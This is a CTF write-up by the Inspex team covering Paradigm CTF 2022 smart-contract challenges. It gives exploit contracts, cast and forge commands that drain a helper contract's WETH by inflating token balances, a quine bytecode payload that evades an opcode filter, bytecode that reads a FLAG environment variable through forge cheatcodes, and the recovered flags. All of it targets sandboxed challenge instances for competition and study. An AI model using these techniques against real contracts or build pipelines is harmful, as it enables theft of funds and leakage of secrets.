Paradigm CTF 2022 Writeup

Inspex
22 min readAug 29, 2022

สำหรับเวอร์ชั่นภาษาไทย สามารถอ่านได้ที่: https://inspexco.medium.com/th-paradigm-ctf-2022-writeup-ae7b6a86fcec

Inspex team members participated in Paradigm CTF 2022 on the _C0FFEE team and ranked 15th from a total of 445 teams with a total score of 2,465.1.

There were different types of smart contract challenges, including EVM, Solana, and Cairo, and we were having a great time solving these fun and challenging challenges.

We have solved a total of 11 challenges as follows:

EVM

RANDOM
Rescue
SOURCECODE
Trapdooor
Merkledrop

Solana

OTTER-WORLD
SOLHANA-1
SOLHANA-2 (Solved Locally)

Cairo

RIDDLE-OF-THE-SPHINX
CAIRO-PROXY
CAIRO-AUCTION

On this CTF, Paradigm’s foundry was used extensively. We used it to test our exploits, trace transactions, deploy exploit contracts, call them, and send transactions.

Here’s our write-up for the challenges we have solved.

EVM

RANDOM

CHALLENGE: RANDOM
AUTHOR: Riley Holterhus
TAGS: SANITY CHECK
DESCRIPTION: I’m thinking of a number between 4 and 4
ACCESS: nc 34.66.135.107 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/random.zip

In this challenge, two Solidity contracts are given in the zip file as shown below:

Setup.sol
Random.sol

This challenge is a simple sanity-check for EVM. What you need to do is to call the solve() function with 4 as the parameter to match the return value from the _getRandomNumber() function.

The instance can be started by accessing the server provided in the challenge.

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 5a0028b7-3585-40ad-a5d8-7a7d98e8c713
rpc endpoint: http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713
private key: 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa
setup contract: 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502

The challenge server provided us with the RPC URL, private key, and the address of the Setup contract.

What we need to solve this challenge is the address of the Random contract.

We got the address from the Setup contract by calling random() function using cast as follows:

$ cast call --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502 "random()"
0x00000000000000000000000031a91af1e135324f344f96757703aa11ff214e51

From the output, the Random contract is at the address 0x31a91af1e135324f344f96757703aa11ff214e51. Therefore, we called the solve() function as follows:

$ cast send --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 --private-key 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa 0x31a91af1e135324f344f96757703aa11ff214e51 "solve(uint256)" 4

The transaction was successfully executed, so we accessed the server again to get the flag.

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{IT5_C7F_71M3}

Flag: PCTF{IT5_C7F_71M3}

RESCUE

CHALLENGE: RESCUE
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: I accidentally sent some WETH to a contract, can you help me?
ACCESS: nc 34.123.187.206 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/rescue.zip

Three Solidity files are provided for this challenge.

From the Setup contract, we can see that 10 $WETH is transferred to the MasterChefHelper contract in the constructor. From the isSolved() function, our goal is to make the $WETH balance of the MasterChefHelper contract to be zero to solve this challenge.

Setup.sol

The MasterChefHelper contract has one external function, swapTokenForPoolToken(), which takes a token, divides it in half, swap it into two tokens of the pool specified, and add liquidity using those tokens.

We can see that when the _addLiquidity() function is called, the whole balance of both tokens are used to calculate the LP amount to get. Therefore, if we can add liquidity using a pool with $WETH as one of the tokens, we can use the $WETH stuck in the contract to get the LP token.

MasterChefHelper.sol
UniswapV2Like.sol

However, as our initial token is swapped to two tokens in the pool, there are some conditions that we need to fulfill:

  1. One of the tokens in the pool must be $WETH in order for the token stuck to be added to the liquidity pool.
  2. The tokenIn must not be one of the tokens in the pool selected, because a token cannot be swapped to the same token via the router.
  3. There must be liquidity available for the swap from tokenIn to tokenOut0 and tokenIn to tokenOut1.

To find the tokenIn and poolId that we can use, we started a challenge instance and wrote a simple web3 script to get the data of each pools.

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b1dcfc76-608d-43df-873f-5a8051100d7c
rpc endpoint: http://34.66.135.107:8545/b1dcfc76-608d-43df-873f-5a8051100d7c
private key: 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad
setup contract: 0x3982455E39F78c850AB5E80D81Ce41aa5B3CE6C7
fetchPools.js

By running the script above, we got the following output:

0 0x06da0fd433C1A5d7a4faa01111c044910A184553 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xdAC17F958D2ee523a2206206994597C13D831ec7
1 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
2 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
3 0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
4 0x31503dcb60119A812feE820bb7042752019F2355 0xc00e94Cb662C3520282E6f5717214004A7f26888 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
5 0x5E63360E891BD60C69445970256C260b0A6A54c6 0x80fB784B7eD66730e8b1DBd9820aFD29931aab03 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
6 0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
7 0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4 0x04Fa0d235C4abf4BcF4787aF4CF447DE572eF828 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
8 0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967 0x514910771AF9Ca656af840dff83E8264EcF986CA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
9 0xA75F7c2F025f470355515482BdE9EFA8153536A8 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
10 0xCb2286d9471cc185281c4f763d34A962ED212962 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD46bA6D942050d489DBd938a2C909A5d5039A161
11 0x088ee5007C98a9677165D78dD2109AE4a3D04d0C 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
12 0x795065dCc9f64b5614C407a6EFDC400DA6221FB0 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
13 0x611CDe65deA90918c0078ac0400A72B0D25B9bb1 0x408e41876cCCDC0F92210600ef50372656052a38 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
14 0xaAD22f5543FCDaA694B68f94Be177B561836AE57 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5
15 0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2 0x476c5E26a75bd202a9683ffD34359C0CC15be0fF 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
16 0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820 0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
17 0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD533a949740bb3306d119CC777fa900bA034cd52
18 0xDafd66636E2561b0284EDdE37e42d192F2844D40 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
19 0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
20 0x0Cfe7968e7c34A51217a7C9b9dc1690F416E027e 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 0x6B175474E89094C44Da98b954EedeAC495271d0F
21 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
22 0xf169CeA51EB51774cF107c88309717ddA20be167 0x2ba592F78dB6436527729929AAf6c908497cB200 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
23 0x17b3C19Bd640a59E832AB73eCcF716CB47419846 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD5525D397898e5502075Ea5E830d8914f6F0affe
24 0xFcff3b04C499A57778ae2CF05584ab24278A7FCb 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
25 0x382c4a5147Fd4090F7BE3A9Ff398F95638F5D39E 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
26 0x2024324a99231509a3715172d4F4f4E751b38d4d 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
27 0x0be88ac4b5C81700acF3a606a52a31C261a24A35 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
28 0x518d6CE2D7A689A591Bf46433443C31615b206C5 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D

We found that the token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c can be swapped to $WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) through pool id 25, and can also be swapped to 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 through pool id 26.

We also found that pool id 21 contains both 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 and 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2.

To fulfill all of the conditions mentioned, we can use 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c as the tokenIn, and 21 as the poolId.

To get all of $WETH out from the MasterChefHelper contract, we need the final before the calling of _addLiquidity() to have the same ratio with the liquidity pool, or have more of 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 to send all WETH to the liquidity pool.

We wrote a contract to help us perform the following actions:

  1. Deposit 11 $ETH to get 11 $WETH
  2. Buy 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c using 0.1 $WETH
  3. Buy 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 using 10.9 $WETH
  4. Send the bought 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 to MasterChefHelper contract to inflate the balance of the token
  5. Call MasterChefHelper.swapTokenForPoolToken()
Solve.sol

The contract was deployed using forge with the following command:

$ forge create --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad rescue/public/contracts/Solve.sol:Solve --json
{"deployedTo":"0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C","deployer":"0x2d60598B659634B1337d3757928800d796F43896","transactionHash":"0x63c96471ddfd7daa0846e328222b721562185bd230ba290e9f3068fd5369e2cc"}

We then sent 11 $ETH to the contract we deployed and execute the solve() function with the following commands:

$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C --value 11000000000000000000$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C "solve()"

After that, we connected to the server to get the flag.

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{MuCH_4PPr3C1473_53r}

Flag: PCTF{MuCH_4PPr3C1473_53r}

SOURCECODE

CHALLENGE: SOURCECODE
DESCRIPTION: Fixed point EVM bytecode
ACCESS: nc 34.136.156.228 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/sourcecode.zip

To solve this challenge, we need to craft a smart contract that return its own bytecode as an output without having any of the blacklisted opcodes as checked in the safe() function.

Challenge.sol

Our first thought was to craft an EVM bytecode to return the contract code.

However, the bytecode above does not work since the codesize (0x38) and codecopy (0x39) opcodes were filtered by safe() function.

We know that a program that returns itself as an output is called “quine”. We did a quick search and found quine.etk, a smart contract that returns its own source code.

Ref: https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff

However, the quine.etk is using the CALLVALUE opcode, which is restricted by the safe() function.

quine.etk

We applied the same idea and changed the callvalue instruction to other instruction, and pad the bytecode with the STOP instructions, which is 0x00 bytecodes.

dupper.bc
$ evmasm -a < dupper.bc                                       
0x80607f60005360015260215260416000f3000000000000000000000000000000

Then we changed the PUSH16 instruction to PUSH32 followed by the bytecode of dupper.bc.

exploit.bc

We then compiled the opcodes to get the bytecodes in hex format.

$ evmasm -a < exploit.bc
0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000

The challenge instance was started by connecting to the server.

$ nc 34.136.156.228 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: bf8d3ead-f772-47ff-84e1-02626c1f1717
rpc endpoint: http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717
private key: 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9
setup contract: 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715

We called the challenge() function to get the address of the challenge smart contract.

$ cast call --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715 "challenge()"
0x000000000000000000000000b4ee4924c6dccb4c4e0d4872a9d84b8db17043ac

We then called the solve() function and used the bytecode from above as the parameter.

cast send --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 --private-key 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9 0xb4ee4924c6dccb4c4e0d4872a9d84b8db17043ac "solve(bytes)" -- 0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000

The transaction was executed successfully, this means that our bytecode works. So we connected to the server to get the flag:

$ nc 34.136.156.228 31337`
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{QUiNE_QuiNe_qU1n3}

Flag: PCTF{QUiNE_QuiNe_qU1n3}

TRAPDOOOR

CHALLENGE: TRAPDOOOR
AUTHOR: samczsun
TAGS: PWN
DESCRIPTION: In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the “trapdoor”.
ACCESS: nc 34.68.217.8 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/trapdooor.zip

For this challenge, you need to send your contract bytecode to the server to factorize a number into two primes correctly. Your bytecode will be replaced in the Script.sol contract, and the execution will be done using forge.

chal.py
Script.sol

We know that forge contains cheatcodes (https://book.getfoundry.sh/forge/cheatcodes); therefore, we used the envString() cheatcode function to get the value of the FLAG environment variable. As we only see the number that results from our factorization as the output, we split the flag into two parts, and encode each part as bytes,

Factorizor.sol

We then compiled our contract, and execute it to get the runtime bytecode.

$ cat out/Factorizor.sol/Factorizor.json | jq '.bytecode.object'
"0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033"
$ evm-run --code 0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033 code 608060405234801561001057600080FD5B50610279806100206000396000F3FE608060405234801561001057600080FD5B506004361061002B5760003560E01C80631B3ABBA014610030575B600080FD5B61004361003E36600461014A565B61005C565B6040805192835260208301919091520160405180910390F35B60405163F877CB1960E01B81526000908190737109709ECFA91A80626FF3989D68F67F5B1DD12D908290829063F877CB19906100B390600401602080825260049082015263464C414760E01B604082015260600190565B6000604051808303816000875AF11580156100D2573D6000803E3D6000FD5B505050506040513D6000823E601F3D908101601F191682016040526100FA9190810190610179565B90506000610109826020610126565B90506000610118836040610126565B919791965090945050505050565B81516000908390820361013D575060009050610144565B5050818101515B92915050565B60006020828403121561015C57600080FD5B5035919050565B634E487B7160E01B600052604160045260246000FD5B6000602080838503121561018C57600080FD5B825167FFFFFFFFFFFFFFFF808211156101A457600080FD5B818501915085601F8301126101B857600080FD5B8151818111156101CA576101CA610163565B604051601F8201601F19908116603F011681019083821181831017156101F2576101F2610163565B81604052828152888684870101111561020A57600080FD5B600093505B8284101561022C578484018601518185018701529285019261020F565B60008684830101528096505050505050509291505056FEA26469706673582212209120A8F35834F204AF3746D2B256675B3C4330670545B904B6D04F680CAA247F64736F6C63430008100033
60 PUSH1
60 PUSH1 Stack: 80
52 MSTORE Stack: 40,80
34 CALLVALUE Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
15 ISZERO Stack: 0,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
57 JUMPI Stack: 10,1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
5b JUMPDEST Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
50 POP Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
39 CODECOPY Stack: 0,20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
f3 RETURN Stack: 0,279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
Returned: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033
gasUsed : 171

We then connected to the server and sent the runtime bytecode we got.

$ nc 34.68.217.8 31337
1 - factorize
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589df1893973e19b6efc
runtime bytecode: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033
you didn't factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 43057057880393007403564109894319249048263545241531721173866963997594434404352 != 47914332001412349049026046261367819686545943268066325658829054066493538297033

Even when the result shows that we did not factor the number correctly, the two numbers from the output are actually parts of the flags we have retrieved and encoded. Python can then be used to decode the numbers we got.

$ ipython
Python 3.8.10 (default, Jun 22 2022, 20:18:18)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.23.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from Crypto.Util.number import long_to_bytesIn [2]: long_to_bytes(36303988286885487241881563943446880517349042511396977973869722935105628174645)
Out[2]: b'PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5'
In [3]: long_to_bytes(43057057880393007403564109894319249048263545241531721173866963997594434404352)
Out[3]: b'_1n_4_c7f}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Flag: PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}

MERKLEDROP

CHALLENGE: MERKLEDROP
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: Were you whitelisted?
ACCESS: nc 35.188.148.32 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/merkledrop.zip

This challenge is, basically, an airdrop distributor contract using Merkle tree to verify the claimer.

File structure
- contracts/Setup.sol This file has two contracts, Token and Setup. The Setup contract’s constructor deploys the MerkleDistributor contract and has the isSolved() function to check the problem’s solve status.
- contracts/MerkleDistributor.sol This is the contract that holds the airdrop reward. It has the claim() function, which the only non-view/pure function in the contract.
- contracts/MerkleProof.sol This is the MerkleProof library. it has only verify() function for verifying whether the node is in the Merkle tree.
- tree.json A list of addresses and their index, Merkle proofs, and claim amount.

To solve this challenge, you have to drain all of the airdrop reward from the contract without claiming every airdrop. What a contradiction.

contracts/Setup.sol

In the MerkleProof contract, there is only one function for verifying the root and the node of Merkle tree. Everything seems normal.

contracts/MerkleProof.sol

In the MerkleDistributor contract, our star of this problem, the claim() function takes index, address, amount, and an array of merkleProof to claim the airdrop and transfers the reward to the supplied address parameter with the amount of amount parameter. We can pass the first condition of the problem by using every valid data from tree.json but we will be stuck on the second condition.

contracts/MerkleDistributor.sol

